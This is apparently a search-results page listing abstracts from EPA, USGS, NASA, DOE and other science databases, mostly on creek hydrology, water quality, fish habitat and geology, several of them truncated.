49. VIEW FROM WEST OF DUST COLLECTOR BLOWER LOCATED AT CRUSHED OXIDIZED ORE BIN FEED LEVEL. THE ROASTER IS BEYOND AND THE MACHINE SHOP IS ON THE TRAM TERRACE, UPPER RIGHT. - Bald Mountain Gold Mill, Nevada Gulch at head of False Bottom Creek, Lead, Lawrence County, SD

Microbial Activity In The Peerless Jenny King Sulfate Reducing Bioreactor System (Presentation)

EPA Science Inventory

The Peerless Jenny King treatment system is a series of four sulfate reducing bioreactor cells installed to treat acid mine drainage in the Upper Tenmile Creek Superfund Site located in the Rimini Mining District, near Helena MT. The system consists of a wetland pretreatment fol...

Microbial Activity In The Peerless Jenny King Sulfate Reducing Bioreactors System

EPA Science Inventory

The Peerless Jenny King treatment system is a series of four sulfate reducing bioreactor cells installed to treat acid mine drainage in the Upper Tenmile Creek Superfund Site located in the Rimini Mining District, near Helena, MT. The system consists of a wetland pretreatment fo...

Evaluation of a watershed model for estimating daily flow using limited flow measurements

USDA-ARS?s Scientific Manuscript database

The Soil and Water Assessment Tool (SWAT) model was evaluated for estimation of continuous daily flow based on limited flow measurements in the Upper Oyster Creek (UOC) watershed. SWAT was calibrated against limited measured flow data and then validated. The Nash-Sutcliffe model Efficiency (NSE) and...

Earth Observations taken by the Expedition 18 Crew

NASA Image and Video Library

2008-10-24

ISS018-E-005321 (24 Oct. 2008) --- The Hell's Half Acre Lava Field in Idaho is featured in this image photographed by an Expedition 18 crewmember on the International Space Station. Located in eastern Idaho, the Hell's Half Acre Lava Field is the easternmost large field associated with the Snake River Plain that arcs across the center of the state. The abundant lava flows and other volcanic rocks of the Snake River Plain are thought to be the result of southwest passage of the North American tectonic plate over a fixed mantle plume or "hotspot". According to scientists, Volcanism attributed to the hotspot began approximately 15 million years ago in the western portion of the Plain, with lava fields becoming younger to the east -- with lavas erupted approximately 4,100 years ago, Hell's Half Acre is one of the youngest lava fields. Today, the center of hotspot volcanism is located in Yellowstone National Park and feeds the extensive geyser system there. Portions of the Hell's Half Acre Lava Field are designated as a National Natural Landmark and Wilderness Study Area. This detailed photograph illustrates the forbidding landscape of the basaltic lava field -- the complex ridge patterns of the black to grey-green flow surfaces, comprised of ropy pahoehoe and blocky A a lava, are clearly visible. Regions of tan soil surrounded by lava are known as kipukas -- these "islands" are windows onto the older underlaying soil surface as they were never covered by lava. The kipukas are used for agriculture (both crops and grazing) -- several green fields are visible to the northwest of Interstate Highway 15 (right). Light to dark mottling visible in the kipukas is most likely due to variations in moisture and disturbance by agricultural activities.

Geochemistry of Archean shales from the Pilbara Supergroup, Western Australia

NASA Astrophysics Data System (ADS)

McLennan, Scott M.; Taylor, S. R.; Eriksson, K. A.

1983-07-01

Archean clastic sedimentary rocks are well exposed in the Pilbara Block of Western Australia. Shales from turbidites in the Gorge Creek Group ( ca. 3.4 Ae) and shales from the Whim Creek Group ( ca. 2.7 Ae) have been examined. The Gorge Creek Group samples, characterized by muscovite-quartzchlorite mineralogy, are enriched in incompatible elements (K, Th, U, LREE) by factors of about two, when compared to younger Archean shales from the Yilgarn Block. Alkali and alkaline earth elements are depleted in a systematic fashion, according to size, when compared with an estimate of Archean upper crust abundances. This depletion is less notable in the Whim Creek Group. Such a pattern indicates the source of these rocks underwent a rather severe episode of weathering. The Gorge Creek Group also has fairly high B content (85 ± 29 ppm) which may indicate normal marine conditions during deposition. Rare earth element (REE) patterns for the Pilbara samples are characterized by light REE enrichment ( La N/Yb N ≥ 7.5 ) and no or very slight Eu depletion ( Eu/Eu ∗ = 0.82 - 0.99 ). A source comprised of about 80% felsic igneous rocks without large negative Eu-anomalies (felsic volcanics, tonalites, trondhjemites) and 20% mafic-ultramafic volcanics is indicated by the trace element data. Very high abundances of Cr and Ni cannot be explained by any reasonable provenance model and a secondary enrichment process is called for.

DOE Office of Scientific and Technical Information (OSTI.GOV)

Huntington, Charles W.

If implemented, the Orofino Creek Passage Project will provide adult fish passage at barrier waterfalls on Orofino Creek, Idaho, and give anadromous salmonids access to upstream habitat. Anadromous fish are currently blocked at Orofino Falls, 8.3 km above the stream's confluence with the Clearwater River. This report summarizes results of a study to determine the potential for increasing natural production of summer steelhead (Salmo gairdneri) and spring chinook salmon (Oncorhynchus tschawytscha) in the Orofino Creek drainage by enhancing adult fish passage. Data on fish habitat, migration barriers, stream temperatures and fish populations in the drainage were collected during 1987 andmore » provided a basis for estimating the potential for self-sustaining anadromous salmonid production above Orofino Falls. Between 84.7 and 103.6 km of currently inaccessible streams would be available to anadromous fish following project implementation, depending on the level of passage enhancement above Orofino Falls. These streams contain habitat of poor to good quality for anadromous salmonids. Low summer flows and high water temperatures reduce habitat quality in lower mainstem Orofino Creek. Several streams in the upper watershed have habitat that is dominated by brook trout and may be poorly utilized by steelhead or salmon. 32 refs., 20 figs., 22 tabs.« less

Simulating effects of highway embankments on estuarine circulation

USGS Publications Warehouse

Lee, Jonathan K.; Schaffranek, Raymond W.; Baltzer, Robert A.

1994-01-01

A two-dimensional depth-averaged, finite-difference, numerical model was used to simulate tidal circulation and mass transport in the Port Royal Sound. South Carolina, estuarine system. The purpose of the study was to demonstrate the utility of the Surface-Water. Integrated. Flow and Transport model (SWIFT2D) for evaluating changes in circulation patterns and mass transport caused by highway-crossing embankments. A model of subregion of Port Royal Sound including the highway crossings and having a grid size of 61 m (200ft) was derived from a 183-m (600-ft) model of the entire Port Royal Sound estuarine system. The 183-m model was used to compute boundary-value data for the 61-m submodel, which was then used to simulate flow conditions with and without the highway embankments in place. The numerical simulations show that, with the highway embankment in place, mass transport between the Broad River and Battery Creek is reduced and mass transport between the Beaufort River and Battery Creek is increased. The net result is that mass transport into and out of upper Battery Creek is reduced. The presence of the embankments also alters circulation patterns within Battery Creek.

Water quality in the upper Shoal Creek basin, southwestern Missouri, 1999-2000

USGS Publications Warehouse

Schumacher, John G.

2001-01-01

Results of a water-quality investigation of the upper Shoal Creek Basin in southwestern Missouri indicate that concentrations of total nitrite plus nitrate as nitrogen (NO2t+NO3t) in water samples from Shoal Creek were unusually large [mean of 2.90 mg/L (milligrams per liter), n (sample size)=60] compared to other Missouri streams (mean of 1.02 mg/L, n=1,340). A comparison of instantaneous base-flow loads of NO2t+NO3t indicates that at base-flow conditions, most NO2t+NO3t discharged by Shoal Creek is from nonpoint sources. Nearly all the base-flow instantaneous load of total phosphorus as P (Pt) discharged by Shoal Creek can be attributed to effluent from a municipal wastewater treatment plant. Samples collected from a single runoff event indicate that substantial quantities of Pt can be transported during runoff events compared to base-flow transport. Only minor quantities of NO2t+NO3t are transported during runoff events compared to base-flow transport. Fecal coliform bacteria densities at several locations exceed the Missouri Department of Natural Resources (MDNR) standard of 200 col/100 mL (colonies per 100 milliliters) for whole-body contact recreation. During 13 months of monitoring at 13 stream sites, fecal coliform densities (median of 277 and 400 col/100 mL) at two sites (sites 2 and 3) on Shoal Creek exceeded the MDNR standard at base-flow conditions. The maximum fecal coliform density of 120,000 col/100 mL was detected at site 3 (MDNR monitoring site) during a runoff event in April 1999 at a peak discharge of 1,150 ft3/s (cubic feet per second). Fecal coliform densities also exceeded the MDNR standard in three tributaries with the largest densities (median of 580 col/100 mL) detected in Pogue Creek. Results of ribopattern analyses indicate that most Escherichia coli (E. coli) bacteria in water samples from the study area probably are from nonhuman sources. The study area contains about 25,000 cattle, and has an estimated annual production of 33 million broilers and 300,000 turkeys. Probable nonhuman sources included turkeys, horses, chickens, and cattle; however, wildlife sources such as deer, raccoon, muskrat, and opossum were not evaluated. Human waste was an important source of E. coli in water samples collected at the MDNR monitoring site (site 3) on Shoal Creek and at two tributary sites (Joyce Creek and Woodward Creek). In general, the detection of human ribopatterns was consistent with the detection of organic compounds commonly associated with human wastewater such as caffeine, triclosan, or phenol, and the fecal indicators cholesterol and 3B-coprostanol. Ribopattern analysis indicate that horses were an important source of E. coli in Woodward Creek, which was consistent with horses being pastured immediately upstream from the sampling site on this creek. Pogue Creek contains a large density of turkey barns and five of eight E. coli isolates from one sample from Pogue Creek were matched to turkeys. Water samples from Pogue Creek generally did not contain detectable concentrations of human wastewater compounds, but one sample did contain detectable quantities of the antibiotics tylosin and lincomycin (widely used in the animal industry), and sulfamethoxazole (human use only). Although promising, the ability of ribopattern analyses to positively identify the source of a particular isolate is uncertain because of the small sample size, possible differences between animal source patterns in the study area and database used, lack of native wildlife source patterns, and variation in results depending on the number of possible animal host considered. Results of this study indicate that a trend of increasing fecal coliform densities with increasing time detected by the MDNR is, in part, caused by trends in annual precipitation and stream discharge, and not necessarily changes in land use or densities of animal operations. A multiple linear regression (MLR) model using specific conductance and wate

Hybridization and cytonuclear associations among native westslope cutthroat trout, introduced rainbow trout, and their hybrids within the Stehekin River drainage, North Cascades National Park

USGS Publications Warehouse

Ostberg, C.O.; Rodriguez, R.J.

2006-01-01

Historic introductions of nonnative rainbow trout Oncorhynchus mykiss into the native habitats of cutthroat trout O. clarkii have impacted cutthroat trout populations through introgressive hybridization, creating challenges and concerns for cutthroat trout conservation. We examined the effects of rainbow trout introductions on the native westslope cutthroat trout O. c. lewisii within the Stehekin River drainage, North Cascades National Park, Washington, by analyzing 1,763 salmonid DNA samples from 18 locations with nine diagnostic nuclear DNA markers and one diagnostic mitochondrial DNA (mtDNA) marker. Pure westslope cutthroat trout populations only occurred above upstream migration barriers in the Stehekin River and Park Creek. Two categories of rainbow trout admixture were observed: (1) less than 10% within the Stehekin River drainage above the Bridge Creek confluence and the middle and upper Bridge Creek drainage and (2) greater than 30% within the Stehekin River below the Bridge Creek confluence and in lower Bridge Creek. Hybrid indices and multilocus genotypes revealed an absence of rainbow trout and reduced hybrid diversity within the Stehekin River above the Bridge Creek confluence relative to hybrid diversity in the Stehekin River below the confluence and within lower Bridge Creek. Cytonuclear disequilibrium statistics revealed assortative mating between westslope cutthroat and rainbow trout but not among hybrids within the same locations. This suggests that a randomly mating hybrid swarm does not currently exist. However, continual migration of parental genotypes into the study location could also create significant cytonuclear disequilibria. The Stehekin River represents a novel and unique example of a dynamic hybridization zone where the invasion of rainbow trout alleles into the Stehekin River westslope cutthroat trout population above the Bridge Creek confluence appears to be impeded, suggesting that divergent ecological or evolutionary mechanisms promote the population structure within the Stehekin River drainage, depending upon location.

Hydrologic conditions and quality of rainfall and storm runoff for two agricultural areas of the Oso Creek Watershed, Nueces County, Texas, 2005-07

USGS Publications Warehouse

Ockerman, Darwin J.

2008-01-01

The U.S. Geological Survey, in cooperation with the Texas State Soil and Water Conservation Board, Coastal Bend Bays and Estuaries Program, and Texas AgriLife Research and Extension Center at Corpus Christi, studied hydrologic conditions and quality of rainfall and storm runoff of two (primarily) agricultural areas (subwatersheds) of the Oso Creek watershed in Nueces County, Texas. One area, the upper West Oso Creek subwatershed, is 5,145 acres. The other area, a subwatershed drained by an unnamed Oso Creek tributary (hereinafter, Oso Creek tributary), is 5,287 acres. Rainfall and runoff (streamflow) were continuously monitored at the outlets of the two subwatersheds during October 2005-September 2007. Fourteen rainfall samples were collected and analyzed for nutrients and major inorganic ions. Nineteen composite runoff samples (10 West Oso Creek, nine Oso Creek tributary) were collected and analyzed for nutrients, major inorganic ions, and pesticides. Twenty-two discrete suspended-sediment samples (10 West Oso Creek, 12 Oso Creek tributary) and 13 bacteria samples (eight West Oso Creek, five Oso Creek tributary) were collected and analyzed. These data were used to estimate, for selected constituents, rainfall deposition to and runoff loads and yields from the study subwatersheds. Quantities of fertilizers and pesticides applied in the subwatersheds were compared with quantities of nutrients and pesticides in rainfall and runoff. For the study period, total rainfall was greater than average. Most of the runoff at both subwatershed outlet sites occurred in response to a few specific storm periods. The West Oso Creek subwatershed produced more runoff during the study period than the Oso Creek tributary subwatershed, 10.83 inches compared with 7.28 inches. Runoff response was quicker and peak flows were higher in the West Oso Creek subwatershed than in the Oso Creek tributary subwatershed. Total nitrogen runoff yield for the 2-year study period averaged 2.61 pounds per acre per year from the West Oso Creek subwatershed and 0.966 pound per acre per year from the Oso Creek tributary subwatershed. Total phosphorus yields from the West Oso Creek and the Oso Creek tributary subwatersheds for the 2-year period were 0.776 and 0.498 pound per acre per year. Runoff yields of nitrogen and phosphorus were relatively small compared to inputs of nitrogen in fertilizer and rainfall deposition. Average annual runoff yield of total nitrogen (subwatersheds combined) represents about 2.4 percent of nitrogen applied as fertilizer and nitrogen entering the subwatersheds through rainfall deposition. Average annual runoff yield of total phosphorus (subwatersheds combined) represents about 4.4 percent of the phosphorus in applied fertilizer and rainfall deposition. Suspended-sediment yields from the West Oso Creek subwatershed were more than twice those from the Oso Creek tributary subwatershed. The average suspended-sediment yield from the West Oso Creek subwatershed was 582 pounds per acre per year. The average suspended-sediment yield from the Oso Creek tributary subwatershed was 257 pounds per acre per year. Twenty-two herbicides and eight insecticides were detected in runoff samples collected from the two subwatershed outlet sites. At the West Oso Creek site, 18 herbicides and four insecticides were detected, and at the Oso Creek tributary site, 17 herbicides and six insecticides. Seventeen pesticides were detected in only one sample at low concentrations (near the laboratory reporting level). Atrazine, atrazine degradation byproducts 2-chloro-4-isopropylamino-6-amino-s-triazine (CIAT) and 2-hydroxy-4-isopropylamino-6-ethylamino-s-triazine (OIET), glyphosate, and glyphosate byproduct aminomethylphosphonic acid (AMPA) were detected in all samples. Of all pesticides detected in runoff, the highest runoff yields were for glyphosate, 0.013 pound per acre per year for the West Oso Creek subwatershed and 0.001 pound per acre per year for the Oso Creek t

Palaeomagnetism of the Late Neoproterozoic of Ella O, North-East Greenland

NASA Astrophysics Data System (ADS)

Kilner, B.; Mac Niocaill, C.; Stouge, S.; Harper, D.

2004-12-01

Neoproterozoic to lower Ordovician sediments outcrop in a N-S trending band in the fjord region of North-East Greenland. The sequence comprises, in ascending order, the Eleonore Bay Group, the Tillite Group and the Canyon and Spiral Creek Formations. The Eleonore Bay Group is thought to be Upper Riphean in age and consists of cherty limestone and dolomite capped by red siltstone. The overlying Tillite Group contains two tillite packages separated by an intertillite which comprises marine siltstone and sandstone. The Canyon and Spiral Creek Formation consist of evaporitic red siltstone, with chert-rich horizons and some dolomite. The Spiral Creek Formation is overlain by a basal Cambrian quartzite. 500 samples were collected from the late Precambrian succession on the island of Ella O in Kong Oscars Fjord. Sampling was aimed in particular at red beds and other likely magnetic targets. The specimens were demagnetised using progressive alternating frequency and thermal techniques and typically revealed a multi-component remanence structure. A majority of the specimens carry a low stability (generally < 20mt, < 250° ) component, directed north and steeply down. This closely resembles present Earth's field. Demagnetisation of the Eleonore Bay Group reveals a high stability component directed south and shallow down, with an opposing component north and up. After tilt correction the mean direction yields a palaeolatitude of 4° . This component passes field tests, and is interpreted as primary. Magnetic characteristics in the Tillite Group are distinct from those of the Eleonore Bay Group. The Lower Tillite Formation carries an east directed shallow down component. The palaeolatitude derived from this direction indicates low latitude deposition for the glacial rocks above the Eleonore Bay Group. The Upper Tillite Formation carries a high stability component directed steeply upwards. Specimens from a limited pilot study pass reversal and fold tests, but further experiments are required to verify the result. If confirmed, this would indicate a hiatus between the lower and upper tillites. It also suggests that the Upper Tillite, which potentially correlates with the 630Ma 'snowball' Earth event, was deposited at high latitude. This would be the first confirmation that the late Neoproterozoic Marinoan glaciation extended over a broad range of latitudes.

BACA Project: geothermal demonstration power plant. Final report

DOE Office of Scientific and Technical Information (OSTI.GOV)

Not Available

1982-12-01

The various activities that have been conducted by Union in the Redondo Creek area while attempting to develop the resource for a 50 MW power plant are described. The results of the geologic work, drilling activities and reservoir studies are summarized. In addition, sections discussing the historical costs for Union's involvement with the project, production engineering (for anticipated surface equipment), and environmental work are included. Nineteen geothermal wells have been drilled in the Redondo Creek area of the Valles Caldera: a prominent geologic feature of the Jemez mountains consisting of Pliocene and Pleistocene age volcanics. The Redondo Creek area ismore » within a complex longitudinal graben on the northwest flank of the resurgent structural dome of Redondo Peak and Redondo Border. The major graben faults, with associated fracturing, are geologically plausible candidates for permeable and productive zones in the reservoir. The distribution of such permeable zones is too erratic and the locations too imprecisely known to offer an attractive drilling target. Log analysis indicates there is a preferred mean fracture strike of N31W in the upper portion of Redondo Creek wells. This is approximately perpendicular to the major structure in the area, the northeast-striking Redondo Creek graben. The geothermal fluid found in the Redondo Creek reservoir is relatively benign with low brine concentrations and moderate H/sub 2/S concentrations. Geothermometer calculations indicate that the reservoir temperature generally lies between 500/sup 0/F and 600/sup 0/F, with near wellbore flashing occurring during the majority of the wells' production.« less

Salmonid Gamete Preservation in the Snake River Basin : 2000 Annual Report.

DOE Office of Scientific and Technical Information (OSTI.GOV)

Armstrong, Robyn; Kucera, Paul A.

2001-06-01

Steelhead (Oncorhynchus mykiss) and chinook salmon (Oncorhynchus tshawytscha) populations in the Northwest are decreasing. Genetic diversity is being lost at an alarming rate. The Nez Perce Tribe (Tribe) strives to ensure availability of genetic samples of the existing male salmonid population by establishing and maintaining a germplasm repository. The sampling strategy, initiated in 1992, has been to collect and preserve male salmon and steelhead genetic diversity across the geographic landscape by sampling within the major river subbasins in the Snake River basin, assuming a metapopulation structure existed historically. Gamete cryopreservation conserves genetic diversity in a germplasm repository, but is notmore » a recovery action for listed fish species. The Tribe was funded in 2000 by the Bonneville Power Administration (BPA) and the U.S. Fish and Wildlife Service Lower Snake River Compensation Plan (LSRCP) to coordinate gene banking of male gametes from Endangered Species Act listed steelhead and spring and summer chinook salmon in the Snake River basin. In 2000, a total of 349 viable chinook salmon semen samples from the Lostine River, Catherine Creek, upper Grande Ronde River, Lookingglass Hatchery (Imnaha River stock), Rapid River Hatchery, Lake Creek, the South Fork Salmon River weir, Johnson Creek, Big Creek, Capehorn Creek, Marsh Creek, Pahsimeroi Hatchery, and Sawtooth Hatchery (upper Salmon River stock) were cryopreserved. Also, 283 samples of male steelhead gametes from Dworshak Hatchery, Fish Creek, Grande Ronde River, Imnaha River, Little Sheep Creek, Pahsimeroi Hatchery and Oxbow Hatchery were also cryopreserved. The Tribe acquired 5 frozen steelhead samples from the Selway River collected in 1994 and 15 from Fish Creek sampled in 1993 from the U.S. Geological Survey, for addition into the germplasm repository. Also, 590 cryopreserved samples from the Grande Ronde chinook salmon captive broodstock program are being stored at the University of Idaho as a long-term archive, half of the total samples. A total of 2,420 cryopreserved samples from Snake River basin steelhead and spring and summer chinook salmon, from 1992 through 2000, are stored in two independent locations at the University of Idaho and Washington State University. Two large freezer tanks are located at each university, each of which holds approximately 25% of the cryopreserved sperm. One tank at each university is considered long-term archival storage, while the other is short-term. Fertility trials were conducted at each university to test the viability of the cryopreserved chinook salmon sperm. The experiments on the 2000 frozen and thawed sperm at both universities found a fertility rate of 60-70%. This document also summarizes 1999-2000 steelhead genetic analysis report. The results of mitochondrial, nuclear DNA and microsatellite analysis found differences and shared haplotypes between the stocks of fish sampled for cryopreservation. Recommendations for future gene banking efforts include the need for establishment of a regional genome resource bank, a greater emphasis on cryopreserving wild fish, continued fertility trials, exploring field cryopreservation and genetic analysis on all fish represented in the germplasm repository.« less

Survival, transport, and sources of fecal bacteria in streams and survival in land-applied poultry litter in the upper Shoal Creek basin, southwestern Missouri, 2001-2002

USGS Publications Warehouse

Schumacher, John G.

2003-01-01

Densities of fecal coliform bacteria along a 5.7-mi (mile) reach of Shoal Creek extending upstream from State Highway 97 (site 3) to State Highway W (site 2) and in two tributaries along this reach exceeded the Missouri Department of Natural Resources (MDNR) standard of 200 col/100 mL (colonies per 100 milliliters) for whole-body contact recreation. A combination of techniques was used in this report to provide information on the source, transport, and survival of fecal bacteria along this reach of Shoal Creek. Results of water-quality samples collected during dye-trace and seepage studies indicated that at summer low base-flow conditions, pastured cattle likely were a substantial source of fecal bacteria in Shoal Creek at the MDNR monitoring site (site 3) at State Highway 97. Using repeat element Polymerase Chain Reaction (rep-PCR), cattle were the presumptive source of about 50 percent of the Escherichia coli (E. coli) isolates in water samples from site 3. Cattle, horses, and humans were the most common presumptive source of E. coli isolates at sites further upstream. Poultry was identified by rep-PCR as a major source of E. coli in Pogue Creek, a tributary in the upper part of the study area. Results of the rep-PCR were in general agreement with the detection and distribution of trace concentrations of organic compounds commonly associated with human wastewater, such as caffeine, the antimicrobial agent triclosan, and the pharmaceutical compounds acetaminophen and thiabendazole (a common cattle anthelmintic). Significant inputs of fecal bacteria to Shoal Creek occurred along a 1.6-mi reach of Shoal Creek immediately upstream from site 3. During a 36-hour period in July 2001, average densities of fecal coliform and E. coli bacteria increased from less than or equal to 500 col/100 mL upstream from this stream reach (sample site 2c) to 2,100 and 1,400 col/100 mL, respectively, at the MDNR sampling site. Fecal bacteria densities exhibited diurnal variability at all five sampling sites along the 5.7-mi study reach of Shoal Creek, but the trends at successive downstream sites were out of phase and could not be explained by simple advection and dispersion. At base-flow conditions, the travel time of bacteria in Shoal Creek along the 5.7-mi reach between State Highway W (site 2) and the MDNR sampling site (site 3) was about 26 hours. Substantial dispersion and dilution occurs along the upper 4.1 mi of this reach because of inflows from a number of springs and tributaries and the presence of several long pools and channel meanders. Minimal dispersion and dilution occurs along the 1.6-mi reach immediately upstream from the MDNR sampling site. Measurements of fecal bacteria decay in Shoal Creek during July 2001 indicated that about 8 percent of fecal coliform and E. coli bacteria decay each hour with an average first-order decay constant of 0.084 h-1 (per hour). Results of field test plots indicated that substantial numbers of fecal bacteria present in poul try litter can survive in fields for as much as 8 weeks after the application of the litter to the land surface. Median densities of fecal coliform and E. coli in slurry-water samples collected from fields increased from less than 60 col/100 mL before the application of turkey and broiler litter, to as large as 420,000 and 290,000 col/100 mL after the application of litter. Bacteria densities in the test plots generally decreased in a exponential manner over time with decay rates ranging from 0.085 to 0.185 d-1 (per day) for fecal coliform to between 0.100 and 0.250 d-1 for E. coli. The apparent survival of significant numbers of fecal bacteria on fields where poultry litter has been applied indicates that runoff from these fields is a potential source of fecal bacteria to vicinity streams for many weeks following litter application.

Petrography and geochemistry of selected lignite beds in the Gibbons Creek mine (Manning Formation, Jackson Group, Paleocene) of east-central Texas

USGS Publications Warehouse

Warwick, Peter D.; Crowley, Sharon S.; Ruppert, Leslie F.; Pontolillo, James

1997-01-01

This study examined the petrographic and geochemical characteristics of two lignite beds (3500 and 4500 beds, Manning Formation, Jackson Group, Eocene) that are mined at the Gibbons Creek mine in east-central Texas. The purpose of the study was to identify the relations among sample ash yield, coal petrography, and trace-element concentrations in lignite and adjoining rock layers of the Gibbons Creek mine. Particular interest was given to the distribution of 12 environmentally sensitive trace elements (As, Be, Cd, Cr, Co, Hg, Mn, Ni, Pb, Sb, Se, and U) that have been identified as potentially hazardous air pollutants (HAPs) in the United States Clean Air Act Amendments of 1990. Eleven lignite, floor, and rock parting samples were collected from incremental channel samples of the 3500 and 4500 beds that were exposed in a highwall of pit A3 at the Gibbons Creek mine. Short proximate and ultimate and forms of sulfur analyses were performed on all lignite samples, and lignite and rock samples were analyzed for 60 major, minor and trace elements. Representative splits of all lignite samples were ground and cast into pellets, and polished for petrographic analyses in blue-light fluorescence and reflected white light to determine liptinite, inertinite, and huminite maceral group percentages. The following observations summarize our results and conclusions about the geochemistry, petrography, and sedimentology of the 3500 and 4500 beds of the Gibbons Creek lignite deposit: (1) Weighted average dry (db) ash yield for the two beds is 29.7%, average total sulfur content is 2.6%, and average calorific value is 7832 Btu (18.22 MJ/kg). Ash yields are greatest in the lower bench (59.33% db) of the 3500 bed and in the upper bench of the 4500 bed (74.61% db). (2) For lignite samples (on a whole-coal basis), the distributions of two of the HAPs (Pb and Sb) are positively related to ash yield, probably indicating an inorganic affinity for these elements. By using cluster analysis we found that Be and Cd were poorly associated with ash yield, indicating a possible organic affinity, and that Ni, Se, Hg, U, and Pb cluster with most of the rare-earth elements. (3) The dominance of the crypto-eugelinite maceral subgroup over the crypto-humotelinite subgroup suggests that all Gibbons Creek lignites were subjected to peat-forming conditions (either biogenic or chemical) conducive to the degradation of wood cellular material into matrix gels, or that original plant material was not very woody and was prone to formation of matrix gels. The latter idea is supported by pollen studies of Gibbons Creek lignite beds; results indicate that the peat was derived in part from marsh plants low in wood tissue. (4) The occurrence of siliceous sponge spicules in the lower benches of the 3500 bed suggests the original peat in this part of the bed was deposited in standing, fresh water. (5) The petrographic data indicate that the upper sample interval of the 3500 bed contains more inertinite (3%) than the other samples studied. Increases in inertinite content in the upper part of the 3500 bed may have been associated with alteration of the peat by acids derived from the volcanic ash or could have been caused by fire, oxidation and drying, or biologic alteration of the peat in the paleo-mire.

CTUIR Grande Ronde River Basin Watershed Restoration Program McCoy Creek/McIntyre Creek Road Crossing, 1996-1998 Progress Report.

DOE Office of Scientific and Technical Information (OSTI.GOV)

Childs, Allen B.

1999-07-01

This Annual Report provides a detailed overview of watershed restoration accomplishments achieved by the Confederated Tribes of the Umatilla Indian Reservation (CTUIR) and project partners in the Upper Grande Ronde River Basin under contract with the Bonneville Power Administration (BPA) during the period July 1, 1997 through June 30, 1998. The Contract Agreement entitled McCoy Meadows Watershed Restoration Project (Project No.96-83-01) includes habitat restoration planning, design, and implementation in two project areas--the McCoy Meadows Ranch located in the Meadow, McCoy, and McIntyre Creek subbasins on private land and the Mainstem Grande Ronde River Habitat Enhancement Project located on private andmore » National Forest System lands near Bird Tract Springs along the Grande Ronde River. During the contract period, the CTUIR and partners (Mark and Lorna Tipperman, landowners), Oregon Department of Environmental Quality (ODEQ), U.S. Environmental Protection Agency (EPA), Oregon Department of Fish and Wildlife (ODFW), and Natural Resource Conservation Service (NRCS) initiated phase 1 construction of the McCoy Meadows Restoration Project. Phase 1 involved reintroduction of a segment of McCoy Creek from its existing channelized configuration into a historic meander channel. Project efforts included bioengineering and tree/shrub planting and protection, transporting salvaged cottonwood tree boles and limbs from offsite source to the project area for utilization by resident beaver populations for forage and dam construction materials, relocation of existing BPA/ODFW riparian corridor fencing to outer edges of meadow floodplain, establishment of pre-project photo points, and coordination of other monitoring and evaluation efforts being led by other project partners including groundwater monitoring wells, channel cross sections, water quality monitoring stations, juvenile population sampling index sites, redd surveys, and habitat surveys. Project activities also included coordination with the U.S. Forest Service, Wallowa-Whitman National Forest, LaGrande Ranger District (USFS) on the Forest Road 2137 (McIntyre Road) Relocation and Obliteration Project and the McCoy Creek crossing. The USFS completed engineering designs under the cooperative effort for the McCoy Creek crossing. Project activities accomplished on the Upper Mainstem Large Wood Addition Project included placement of approximately 120 whole trees to enhance instream structural diversity, pool habitat quality, streambank stability, and improved floodplain morphology. Project activities accomplished on the Mainstem Grande Ronde Habitat Enhancement Project included coordination with landowners (Shauna Musgrove of Cuhna Ranches, Dean Stone, and the Wallowa-Whitman National Forest, LaGrande Ranger District) to develop a habitat enhancement/restoration project opportunity along a 3 mile section of the mainstem Grande Ronde River and major tributaries including the lower reaches of Bear Creek and Jordan Creek. Upon securing an agreement with the landowners, project partners including the CTUIR, ODFW, NRCS, and USFS initiated development of project objectives and site-specific designs. By June 1998, project designs were completed and preparations nearly complete to initiate onsite project construction.« less

Low-flow profiles of the upper Oconee River and tributaries in Georgia

USGS Publications Warehouse

Carter, R.F.; Hopkins, E.H.; Perlman, H.A.

1988-01-01

Low flow information is provided for use in an evaluation of the capacity of streams to permit withdrawals or to accept waste loads without exceeding the limits of State water quality standards. The purpose of this report is to present the results of a compilation of available low flow data in the form of tables and ' 7Q10 flow profiles ' (minimum average flow for 7 consecutive days with a 10-yr recurrence interval)(7Q10 flow plotted against distance along a stream channel) for all streams reaches of the Upper Oconee River and tributaries in Georgia where sufficient data of acceptable accuracy are available. Drainage area profiles are included for all stream basins larger than 5 sq mi, except for those in a few remote areas. This report is the second in a series of reports that will cover all stream basins north of the Fall Line in Georgia. It includes the Oconee River basin down to and including Camp Creek at stream mile 134.53, Town Creek in Baldwin and Hancock Counties down to County Road 213-141, and Buffalo Creek in Hancock County down to the Hancock-Washington County line. Flow records were not adjusted for diversions or other factors that cause measured flows to represent other than natural flow conditions. The 7-day minimum flow profile was omitted for stream reaches where natural flow was known to be altered significantly. (Lantz-PTT)

Geohydrology and water quality of the stratified-drift aquifers in Upper Buttermilk Creek and Danby Creek Valleys, Town of Danby, Tompkins County, New York

USGS Publications Warehouse

Miller, Todd S.

2015-11-20

During 2007–10, groundwater samples were collected from 13 wells including 7 wells that are completed in the confined sand and gravel aquifers, 1 well that is completed in the unconfined aquifer, and 5 wells that are completed in the bedrock aquifers. Calcium dominates the cation composition and bicarbonate dominates the anion composition in most groundwater. Water quality in the study area generally meets state and Federal drinking-water standards but concentrations of some constituents exceeded the standards. The standards that were exceeded include sodium (3 samples), dissolved solids (1 sample), iron (3 samples), manganese (8 samples), and arsenic (1 sample).

This is How it Was...: In Four Parts

NASA Astrophysics Data System (ADS)

Kogan, Ilya

The following sections are included: * Part I - End of Childhood * Chapter 1 - A Thousand Years Before Our Era. June 15, 1941 * Chapter 2 - Farewell Childhood! August 18, 1941 * Chapter 3 - And They Came, Scourged By the Sun… Germans August 1941-June 1942 * Chapter 4 - Hell. Third Month in Hell. June 17, 1942 - October 31, 1942 * Chapter 5 - Third Day of the New Era. Policeman. November 3, 1942 * Chapter 6 - Happy Holiday, My Son! November 7, 1942 * Chapter 7 - My Dear Grachiki! November 13, 1942 * Chapter 8 - Mikhailovna and Pronya. Kettle. March 1943 * Chapter 9 - The Last… * Part II - Stalingrad * Part III - Glazov * Part IV - Kaddish

Ionisation in ultra-cool, cloud forming extrasolar planetary atmospheres

NASA Astrophysics Data System (ADS)

Helling, Christiane; the LEAP Team

2015-04-01

